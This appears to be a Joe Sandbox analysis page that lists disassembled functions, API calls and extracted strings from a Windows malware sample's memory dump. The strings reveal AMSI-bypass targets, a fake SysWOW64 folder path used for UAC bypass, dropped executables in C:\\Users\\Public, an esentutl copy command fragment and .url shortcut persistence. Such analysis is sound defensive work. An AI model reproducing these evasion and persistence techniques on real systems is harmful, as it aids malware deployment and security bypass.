RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02EDDC7E), ref: 02EDDC42
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02EDDC7E), ref: 02EDDC61

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Path$DeleteFileNameName_
String ID:
API String ID: 4284456518-0
Opcode ID: 203608313df74bd5a678d6fe0fb5ac73cc4053035dbbf230a655de403dc8d63f
Instruction ID: 9d15db64e329bc14460cfaa0ada203500cb70350cdc260a6f84d92f54ad07d29
Opcode Fuzzy Hash: 203608313df74bd5a678d6fe0fb5ac73cc4053035dbbf230a655de403dc8d63f
Instruction Fuzzy Hash: 26018B765C420C6EEB05EBA0CD51FCD77BDAB45708F519492E201F7081DAB56B068B24

Function 02EDDC04 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02EC4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 02EC4F2E

RtlI.N(?,?,00000000,02EDDC7E), ref: 02EDDC2C
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02EDDC7E), ref: 02EDDC42
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02EDDC7E), ref: 02EDDC61

Part of subcall function 02EC4C60: SysFreeString.OLEAUT32(02EDF4A4), ref: 02EC4C6E

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: PathString$AllocDeleteFileFreeNameName_
String ID:
API String ID: 1530111750-0
Opcode ID: 9d4d79fe31508ce4948b34e56172dbc07a05a0858cd57177c49ec9c08f4fe183
Instruction ID: 33fe399cc402b8ce65815876507e000a6fd085787739440d83b1fad717e30dad
Opcode Fuzzy Hash: 9d4d79fe31508ce4948b34e56172dbc07a05a0858cd57177c49ec9c08f4fe183
Instruction Fuzzy Hash: 5A01447298020CBEEB11EBE0DD52FDDB3BDEB48704F6194A1F201E2180EA756B058A64

Function 02ED6DC8 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 02ED6D6C: CLSIDFromProgID.OLE32(00000000,?,00000000,02ED6DB9,?,?,?,00000000), ref: 02ED6D99

CoCreateInstance.OLE32(?,00000000,00000005,02ED6EAC,00000000,00000000,02ED6E2B,?,00000000,02ED6E9B), ref: 02ED6E17

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 1374830f9540c0c83a530e0f4776662bee51fe2b9344e3735d2fcb50f931f115
Instruction ID: 1d706c6e674eed84fba3bf28a8e22425a6629db61b7ceaee06480cc97c359a24
Opcode Fuzzy Hash: 1374830f9540c0c83a530e0f4776662bee51fe2b9344e3735d2fcb50f931f115
Instruction Fuzzy Hash: 16012B712887046EF711EFB1EC2286F7BBDE749B00F619839F805E2680E6309A12C860

Function 02EE8128 Relevance: 162.0, APIs: 5, Strings: 86, Instructions: 2778
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02ED89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,02F4738C,Function_0000662C,00000004,02F4739C,02F4738C,05F5E103,00000040,02F473A0,74F60000,00000000,00000000), ref: 02ED8AAA

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0303B7E0,0303B824,OpenSession,02F47380,02EEB7B8,UacScan,02F47380), ref: 02EE86E9
ResumeThread.KERNEL32(00000000,ScanBuffer,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,UacScan,02F47380,02EEB7B8,ScanBuffer,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8), ref: 02EE8D33
CloseHandle.KERNEL32(00000000,ScanBuffer,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,UacScan,02F47380,02EEB7B8,00000000,ScanBuffer,02F47380,02EEB7B8,OpenSession,02F47380), ref: 02EE8EB2

Part of subcall function 02ED894C: LoadLibraryW.KERNEL32(bcrypt,?,00000888,00000000,02F473A8,02EDA587,ScanString,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,Initialize,02F473A8,02EDA93C,UacScan), ref: 02ED8960
Part of subcall function 02ED894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02ED897A
Part of subcall function 02ED894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000888,00000000,02F473A8,02EDA587,ScanString,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,Initialize), ref: 02ED89B6

CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,02F47380,02EEB7B8,UacInitialize,02F47380,02EEB7B8,ScanBuffer,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,UacScan,02F47380), ref: 02EE92A4

Part of subcall function 02EC7E5C: GetFileAttributesA.KERNEL32(00000000,?,02EE041F,ScanString,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,ScanString,02F47380,02EEB7B8,UacScan,02F47380,02EEB7B8,UacInitialize), ref: 02EC7E67

Part of subcall function 02EDDC8C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02EDDD5E), ref: 02EDDCCB
Part of subcall function 02EDDC8C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02EDDD05
Part of subcall function 02EDDC8C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02EDDD32
Part of subcall function 02EDDC8C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02EDDD3B

Part of subcall function 02ED8338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02ED83C2), ref: 02ED83A4

ExitProcess.KERNEL32(00000000,OpenSession,02F47380,02EEB7B8,ScanBuffer,02F47380,02EEB7B8,Initialize,02F47380,02EEB7B8,00000000,00000000,00000000,ScanString,02F47380,02EEB7B8), ref: 02EEB2FA

Strings

NtOpenFile, xrefs: 02EEB0E2
DllGetClassObject, xrefs: 02EEA115, 02EEADE5
UacInitialize, xrefs: 02EE912F, 02EE954B
sppc, xrefs: 02EE9E86, 02EE9EB9, 02EE9EEC, 02EE9F1F, 02EEAE2F, 02EEAE62
VirtualAlloc, xrefs: 02EEAAD9
DlpNotifyPreDragDrop, xrefs: 02EEA44D
NtCreateSection, xrefs: 02EEAF4A
VirtualProtect, xrefs: 02EEAB3F
SLLoadApplicationPolicies, xrefs: 02EE9F08
NtAlertResumeThread, xrefs: 02EEA611
NtSetSecurityObject, xrefs: 02EE9276
CreateProcessW, xrefs: 02EEAA0C
CreateProcessAsUserA, xrefs: 02EEAA1B
ScanString, xrefs: 02EE822C, 02EE8498, 02EE8F3F, 02EE9331, 02EE971A, 02EE9AFB, 02EE9DF9, 02EEA1B4, 02EEA59B, 02EEA792, 02EEAD3C
OpenSession, xrefs: 02EE8134, 02EE82A8, 02EE8324, 02EE8621, 02EE877A, 02EE8920, 02EE8AAD, 02EE8C41, 02EE8DC0, 02EE8EC3, 02EE9037, 02EE92B5, 02EE94A5, 02EE9796, 02EE991C, 02EE9B77, 02EE9D7D, 02EE9F41, 02EEA230, 02EEA2DF, 02EEA51F, 02EEA716, 02EEA80E, 02EEACC0, 02EEB288
psapi, xrefs: 02EEA9F3
Kernel32, xrefs: 02EEAA02, 02EEAA11, 02EEAA4D
GetProcessMemoryInfo, xrefs: 02EEA148
DlpGetArchiveFileTraceInfo, xrefs: 02EEA4B3
VirtualAllocEx, xrefs: 02EEAB0C
DlpGetWebSiteAccess, xrefs: 02EEA4E6
SLGetSLIDList, xrefs: 02EE9EA2
NtMapViewOfSection, xrefs: 02EEAF7D
EnumServicesStatusW, xrefs: 02EEA9C1
EtwEventWrite, xrefs: 02EEB148
SetUnhandledExceptionFilter, xrefs: 02EEAC0B
EtwEventWriteEx, xrefs: 02EEB115
EnumServicesStatusExA, xrefs: 02EEA9D0
kernel32, xrefs: 02EEAAF0, 02EEAB23, 02EEAB56, 02EEAB89, 02EEABBC, 02EEABEF, 02EEAC22
SLIsGenuineLocalEx, xrefs: 02EE9ED5
NtAccessCheck, xrefs: 02EEB016
Initialize, xrefs: 02EE81B0, 02EE83A0, 02EE93AD, 02EE9FBD, 02EEA35B, 02EEA88A, 02EEAC44, 02EEB190
NtQueryDirectoryFile, xrefs: 02EEA994
NtOpenObjectAuditAlarm, xrefs: 02EE9226
I_QueryTagInformation, xrefs: 02EE923A
bcrypt, xrefs: 02EEA2BD
NtQuerySystemInformation, xrefs: 02EEA976
endpointdlp, xrefs: 02EEA464, 02EEA497, 02EEA4CA, 02EEA4FD
NtQuerySecurityObject, xrefs: 02EEAFE3
LdrGetProcedureAddress, xrefs: 02EEB07C
NtGetWriteWatch, xrefs: 02EEAE7E
NtQueryVirtualMemory, xrefs: 02EEAEB1
OpenProcess, xrefs: 02EEAB72
psapi, xrefs: 02EEA15F
NtOpenProcess, xrefs: 02EE928A
RtlQueryProcessDebugInformation, xrefs: 02EEA9A3
RtlCreateQueryDebugBuffer, xrefs: 02EEA6DD
mssip32, xrefs: 02EEA192
CreateProcessA, xrefs: 02EEA9FD
SxTracerGetThreadContextDebug, xrefs: 02EEA0E2, 02EEADB2
NtWaitForSingleObject, xrefs: 02EEA677
ntdll, xrefs: 02EE922B, 02EE927B, 02EE928F, 02EEA628, 02EEA65B, 02EEA68E, 02EEA6C1, 02EEA6F4, 02EEAE95, 02EEAEC8, 02EEAEFB, 02EEAF2E, 02EEAF61, 02EEAF94, 02EEAFC7, 02EEAFFA, 02EEB02D, 02EEB060, 02EEB093, 02EEB0C6, 02EEB0F9, 02EEB12C, 02EEB15F
CreateProcessWithLogonW, xrefs: 02EEAA39
UacScan, xrefs: 02EE841C, 02EE85A5, 02EE86FE, 02EE88A4, 02EE8A31, 02EE8BC5, 02EE8D44, 02EE8FBB, 02EE9429, 02EE9643, 02EE9824, 02EE99BD, 02EE9BF3, 02EEAA63
NtQueryInformationThread, xrefs: 02EEAEE4
NtReadVirtualMemory, xrefs: 02EEAFB0
EnumServicesStatusA, xrefs: 02EEA9B2
C:\Windows\System32\, xrefs: 02EE86B3
CryptSIPVerifyIndirectData, xrefs: 02EEA17B
dbgcore, xrefs: 02EE9253, 02EE9267
NtDeviceIoControlFile, xrefs: 02EEA985
DlpCheckIsCloudSyncApp, xrefs: 02EEA480
sppwmi, xrefs: 02EEADFC
WriteVirtualMemory, xrefs: 02EEABA5
Ntdll, xrefs: 02EEA97B, 02EEA98A, 02EEA999, 02EEA9A8
MiniDumpReadDumpStream, xrefs: 02EE9262
SLGetEncryptedPIDEx, xrefs: 02EEAE4B
spp, xrefs: 02EEA0F9, 02EEA12C, 02EEADC9
advapi32, xrefs: 02EE923F
LdrLoadDll, xrefs: 02EEB049
FlushInstructionCache, xrefs: 02EEABD8
NtWriteVirtualMemory, xrefs: 02EEB0AF
NtOpenSection, xrefs: 02EEAF17
SLGatherMigrationBlob, xrefs: 02EEAE18
tquery, xrefs: 02EEA0C6
MZP, xrefs: 02EE9992
ScanBuffer, xrefs: 02EE8529, 02EE87F6, 02EE899C, 02EE8B29, 02EE8CBD, 02EE8E3C, 02EE90B3, 02EE91AB, 02EE95C7, 02EE98A0, 02EE9A39, 02EE9C6F, 02EE9D01, 02EEA039, 02EEA3D7, 02EEA906, 02EEB20C
BCryptVerifySignature, xrefs: 02EEA2A6
RetailTracerEnable, xrefs: 02EEA0AF
SLGetGenuineInformation, xrefs: 02EE9E6F
EnumServicesStatusExW, xrefs: 02EEA9DF
MiniDumpWriteDump, xrefs: 02EE924E
Advapi, xrefs: 02EEA9B7, 02EEA9C6, 02EEA9D5, 02EEA9E4, 02EEAA20, 02EEAA2F, 02EEAA3E
RtlAllocateHeap, xrefs: 02EEA644, 02EEA6AA
EnumProcessModules, xrefs: 02EEA9EE
CreateProcessAsUserW, xrefs: 02EEAA2A, 02EEAA48

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: CloseFileLibrary$CreateFreeHandlePathProcess$AddressAttributesCacheExitFlushInstructionLoadNameName_ProcResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 2769005614-3738268246
Opcode ID: 2ef9e99eeab4afd7884e8506bfb4c4fa7dae704a9dcfc0d2f0db787685e7f4ef
Instruction ID: fea7be8752867c75eb92c521099f37816e0974721bacb4c48d84c3f1212c6c3a
Opcode Fuzzy Hash: 2ef9e99eeab4afd7884e8506bfb4c4fa7dae704a9dcfc0d2f0db787685e7f4ef
Instruction Fuzzy Hash: 27430D39A8411D8BCB11FBA4DD919CE73FAFB85304F60E1A9F4099B654DA30AE52CF41

Function 02EE3E12 Relevance: 41.8, APIs: 3, Strings: 23, Instructions: 2804sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 02ED89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,02F4738C,Function_0000662C,00000004,02F4739C,02F4738C,05F5E103,00000040,02F473A0,74F60000,00000000,00000000), ref: 02ED8AAA

Part of subcall function 02EDDC8C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02EDDD5E), ref: 02EDDCCB
Part of subcall function 02EDDC8C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02EDDD05
Part of subcall function 02EDDC8C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02EDDD32
Part of subcall function 02EDDC8C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02EDDD3B

Sleep.KERNEL32(000003E8,ScanBuffer,02F47380,02EEB7B8,UacScan,02F47380,02EEB7B8,ScanString,02F47380,02EEB7B8,02EEBB30,00000000,00000000,02EEBB24,00000000,00000000), ref: 02EE40CB

Part of subcall function 02ED88B8: LoadLibraryW.KERNEL32(amsi), ref: 02ED88C1
Part of subcall function 02ED88B8: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02ED8920

Sleep.KERNEL32(000003E8,ScanBuffer,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,UacScan,02F47380,02EEB7B8,000003E8,ScanBuffer,02F47380,02EEB7B8,UacScan,02F47380), ref: 02EE4277

Part of subcall function 02ED894C: LoadLibraryW.KERNEL32(bcrypt,?,00000888,00000000,02F473A8,02EDA587,ScanString,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,Initialize,02F473A8,02EDA93C,UacScan), ref: 02ED8960
Part of subcall function 02ED894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02ED897A
Part of subcall function 02ED894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000888,00000000,02F473A8,02EDA587,ScanString,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,Initialize), ref: 02ED89B6

Sleep.KERNEL32(00004E20,UacScan,02F47380,02EEB7B8,ScanString,02F47380,02EEB7B8,ScanBuffer,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,UacInitialize,02F47380,02EEB7B8), ref: 02EE50EE

Part of subcall function 02EDDC04: RtlI.N(?,?,00000000,02EDDC7E), ref: 02EDDC2C
Part of subcall function 02EDDC04: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02EDDC7E), ref: 02EDDC42
Part of subcall function 02EDDC04: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02EDDC7E), ref: 02EDDC61

Part of subcall function 02EC7E5C: GetFileAttributesA.KERNEL32(00000000,?,02EE041F,ScanString,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,ScanString,02F47380,02EEB7B8,UacScan,02F47380,02EEB7B8,UacInitialize), ref: 02EC7E67

Part of subcall function 02ED85BC: WinExec.KERNEL32(?,?), ref: 02ED8624

Strings

UacInitialize, xrefs: 02EE4A44, 02EE4E84, 02EE50FF, 02EE553C, 02EE58F2, 02EE5DDF
C:\Users\Public\alpha.exe, xrefs: 02EE54E5
/o, xrefs: 02EE64C0
UacUninitialize, xrefs: 02EE3E1E, 02EE463E, 02EE4C94, 02EE5377
ScanString, xrefs: 02EE3F03, 02EE49C8, 02EE4E08, 02EE4FFD, 02EE55B8, 02EE5752, 02EE5A97, 02EE5E5B, 02EE64F2, 02EE6CD8, 02EE6E4F, 02EE6F07
C:\Users\Public\pha.exe, xrefs: 02EE551B
ScanBuffer, xrefs: 02EE3FFB, 02EE4202, 02EE4380, 02EE4503, 02EE457F, 02EE4736, 02EE4947, 02EE4B3C, 02EE4D8C, 02EE4F7C, 02EE51F7, 02EE546F, 02EE56B0, 02EE59EA, 02EE5D03, 02EE6083, 02EE63BC, 02EE6666, 02EE686B, 02EE69D1, 02EE6B45, 02EE6BC1
C:\\Users\\Public\\Libraries\\, xrefs: 02EE616F
/d , xrefs: 02EE64B5
OpenSession, xrefs: 02EE4158, 02EE4304, 02EE4487, 02EE48CB, 02EE4AC0, 02EE4C18, 02EE4F00, 02EE517B, 02EE52FB, 02EE5634, 02EE57CE, 02EE596E, 02EE5B13, 02EE5C87, 02EE5ED7, 02EE5F8B, 02EE6248, 02EE6340, 02EE67EF, 02EE6AC9, 02EE6C3D, 02EE6DD3, 02EE6F83
URL=file:", xrefs: 02EE6D57
Initialize, xrefs: 02EE5876, 02EE5C0B, 02EE6007, 02EE61CC, 02EE6438, 02EE656E, 02EE6773
C:\Users\Public\, xrefs: 02EE5D88, 02EE6FF3
[InternetShortcut], xrefs: 02EE6D48
IconIndex=, xrefs: 02EE6DAD
C:\\Windows \\SysWOW64\\, xrefs: 02EE4822
C:\\Windows \\SysWOW64\\per.exe, xrefs: 02EE43F5
UacScan, xrefs: 02EE3F7F, 02EE40DC, 02EE4288, 02EE440B, 02EE45DC, 02EE46BA, 02EE484F, 02EE4D10, 02EE5079, 02EE53F3, 02EE5B8F, 02EE60FF, 02EE62C4, 02EE65EA, 02EE66F7, 02EE6955, 02EE6A4D
C:\Users\Public\CApha.exe, xrefs: 02EE5500
.url, xrefs: 02EE5D93
HotKey=, xrefs: 02EE6EE1
C:\\Windows\\System32\\esentutl.exe /y , xrefs: 02EE64AA
lld.SLITUTEN, xrefs: 02EE480C

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Library$FilePath$FreeSleep$LoadNameName_$AddressAttributesCloseCreateDeleteExecProcWrite
String ID: /d $ /o$.url$C:\Users\Public\$C:\Users\Public\CApha.exe$C:\Users\Public\alpha.exe$C:\Users\Public\pha.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\per.exe$C:\\Windows\\System32\\esentutl.exe /y $HotKey=$IconIndex=$Initialize$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$UacUninitialize$[InternetShortcut]$lld.SLITUTEN
API String ID: 2171786310-3926298568
Opcode ID: c1d8e770f5ed3054a47ed7f6b066b1e9969a9151c54fc4ed4843f2c0cb44f558
Instruction ID: e5b776b8a6ca40f9110cfdbdd66cda61f2756d50c13c2934cb640b85c606ee82
Opcode Fuzzy Hash: c1d8e770f5ed3054a47ed7f6b066b1e9969a9151c54fc4ed4843f2c0cb44f558
Instruction Fuzzy Hash: 5B434C34B8015D8BDB11FBA4DD91ACE73FAFB85304F60A1A9B409A7654DB30AE52CF41

Function 02EDE678 Relevance: 25.1, APIs: 3, Strings: 11, Instructions: 562
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02ED89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,02F4738C,Function_0000662C,00000004,02F4739C,02F4738C,05F5E103,00000040,02F473A0,74F60000,00000000,00000000), ref: 02ED8AAA

Part of subcall function 02ED8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02ED8814

Part of subcall function 02ED894C: LoadLibraryW.KERNEL32(bcrypt,?,00000888,00000000,02F473A8,02EDA587,ScanString,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,Initialize,02F473A8,02EDA93C,UacScan), ref: 02ED8960
Part of subcall function 02ED894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02ED897A
Part of subcall function 02ED894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000888,00000000,02F473A8,02EDA587,ScanString,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,Initialize), ref: 02ED89B6

WaitForSingleObject.KERNEL32(00000000,000000FF,ScanString,02F47380,02EDEF4C,OpenSession,02F47380,02EDEF4C,UacScan,02F47380,02EDEF4C,ScanBuffer,02F47380,02EDEF4C,OpenSession,02F47380), ref: 02EDED6E
CloseHandle.KERNEL32(00000000,00000000,000000FF,ScanString,02F47380,02EDEF4C,OpenSession,02F47380,02EDEF4C,UacScan,02F47380,02EDEF4C,ScanBuffer,02F47380,02EDEF4C,OpenSession), ref: 02EDED76
CloseHandle.KERNEL32(00000864,00000000,00000000,000000FF,ScanString,02F47380,02EDEF4C,OpenSession,02F47380,02EDEF4C,UacScan,02F47380,02EDEF4C,ScanBuffer,02F47380,02EDEF4C), ref: 02EDED7F

Strings

UacScan, xrefs: 02EDE6B8, 02EDE85D, 02EDE9F5, 02EDEC35, 02EDEE78
NtSetSecurityObject, xrefs: 02EDEEC0
AmsiOpenSession, xrefs: 02EDE814
ScanBuffer, xrefs: 02EDEBE6, 02EDEE29
Initialize, xrefs: 02EDEB48, 02EDED8B
)"C:\Users\Public\Libraries\lxsyrsiW.cmd" , xrefs: 02EDE7F1, 02EDE9B3
NtOpenProcess, xrefs: 02EDEED1
ntdll, xrefs: 02EDEEC5, 02EDEED6
OpenSession, xrefs: 02EDE711, 02EDE8B6, 02EDEA66, 02EDEB97, 02EDEC8E, 02EDEDDA
ScanString, xrefs: 02EDE76A, 02EDE90F, 02EDEAD7, 02EDECFF
Amsi, xrefs: 02EDE825

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Library$CloseFreeHandle$AddressCreateLoadObjectProcProcessSingleUserWait
String ID: )"C:\Users\Public\Libraries\lxsyrsiW.cmd" $Amsi$AmsiOpenSession$Initialize$NtOpenProcess$NtSetSecurityObject$OpenSession$ScanBuffer$ScanString$UacScan$ntdll
API String ID: 3475578485-1053911981
Opcode ID: 5ea7d1b948e73e430725608a67042cc61d12fbc0de2e4824d718af0c2920eeb8
Instruction ID: 0808f57ca3db7e028a4ad054fd677513370a7c8887bba9b9908f8809aeaddf27
Opcode Fuzzy Hash: 5ea7d1b948e73e430725608a67042cc61d12fbc0de2e4824d718af0c2920eeb8
Instruction Fuzzy Hash: 7822F234A801599FEB11FBA4D995BCE73B7AF85300F24E0A9B004AB294DB309E57CF55

Function 02EC1724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,02EC1FC1), ref: 02EC17D0
Sleep.KERNEL32(0000000A,00000000,?,02EC1FC1), ref: 02EC17E6

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

